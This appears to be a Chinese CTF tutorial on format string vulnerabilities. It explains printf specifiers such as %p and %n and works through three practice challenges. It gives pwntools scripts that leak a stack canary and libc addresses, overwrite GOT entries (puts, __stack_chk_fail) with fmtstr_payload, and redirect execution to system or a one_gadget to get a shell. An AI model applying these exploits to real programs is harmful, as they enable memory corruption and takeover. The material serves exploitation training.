1.格式化字符串漏洞造成的原因
%d 以十进制整数的格式输出
%s 以字符串的的格式输出
%x 以十六进制数的格式输出
%c 以字符的格式输出
%p 以指针的格式输出
%n 到目前为止所输出的字符数(把一个int值写到指定的地址去)
%d 以十进制整数的格式输出
题目中一般会有printf(buf)而不是printf("%p", buf);这两种不同的书写方式造成的结果就是前者会因payload的内容造成泄露地址,后者只会打印出buf的地址。
2.如何利用漏洞
read(0,buf,0x30)
printf(buf)
我们可以在buf内写入%5 $p ,他就会泄露出某地方的地址。
也就是说我们在遇到这种没有格式化的打印函数时可以进行泄露地址甚至更改部分地址。
3.例题
##例题1
首先查看main函数可以看到read函数能读入8字节然后通过printf函数打印出来,然后再通过scanf函数读入到v4里面。最后如果v4和v6的值相同便能拿到shell。
from pwn import*
elf=ELF('./pwn1')
p = process("./pwn1")
def bug():
gdb.attach(p)
pause()
payload=b'%11$p'
bug()
p.send(payload)
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
print(hex(canary))
p.send(str(canary))
p.interactive()
%11$p多去调试,观察泄露出的栈地址去具体改变
##例题2
存在一个puts($0),如果能改成sysytem($0)就能够拿到shell了
先输入多个%p观察出来偏移为6.(偏移就是我们输入数据的位置,这个可以自己去观察)
那么我们应该先想办法让程序多读入几次数据,不然一次read完成不了太多操作。这里可以通过格式化字符串漏洞把puts的got表改为main函数,payload=fmtstr_payload(6,{elf.got['puts']:main}) 解释一下这是利用工具格式是
payload=fmtstr_payload(偏移,{要改的:改为什么})
然后这样的话我们就能无限利用read进行读入了。然后我们需要泄露libc_base的地址。这里有两种办法一是payload=b'%7$saaaa'+p64(elf.got['read'])。我们知道偏移在第6位,那么先输入%7$saaaa占满第6位,再输入read函数的got表,这样就能把他的真实地址打印出来。还有一种方法就是输入%x$p(x是自己调试出来的数字)这道题是%11$p.可以把printf函数的地址打印出来。进而得到libc_base.然后就是read函数之能读入到rbp前面覆盖不了返回地址。我们能把puts函数改为system函数进而得到shell。payload=fmtstr_payload(6,{elf.got['puts']:system})。
##例题3
可以发现存在canary保护,这里再次对canary进行加深理解,canary保护会生成一个随机数放在rbp的上面当读入数据和canary的值不相同时程序会先跳转到一个名为__stack_chk_fail的函数然后再退出程序。那么我们可以利用这点将__stack_chk_fail改为main函数无限利用read函数
payload=fmtstr_payload(6,{elf.got['__stack_chk_fail']:fmt})后续操作和上题一样只不过改地址后要在后续自己构造的payload后面填充一些数据触发canary保护。
onegadget
一个小知识点可自行理解。最后把__stack_chk_fail改为one_gadget即可拿到shell
from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')
p = process("./pwn3")
elf=ELF('./pwn3')
def bug():
gdb.attach(p)
pause()
fmt=0x4011DD
__stack_chk_fail=0x401018
payload=fmtstr_payload(6,{elf.got['__stack_chk_fail']:fmt})
p.sendline(payload)
payload2=b'%7$saaaa'+p64(elf.got['read'])+b'a'*0x33
p.sendline(payload2)
read_addr=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=read_addr-libc.sym['read']
print(hex(libc_base))
shell=0xe3b01+libc_base
payload=fmtstr_payload(6,{elf.got['__stack_chk_fail']:shell})
p.sendline(payload)
p.interactive()
总结
以上只是部分格式化字符串漏洞。还有一种方法就是通过%x$p泄露出栈地址找到某函数的返回地址,进而修改掉返回地址。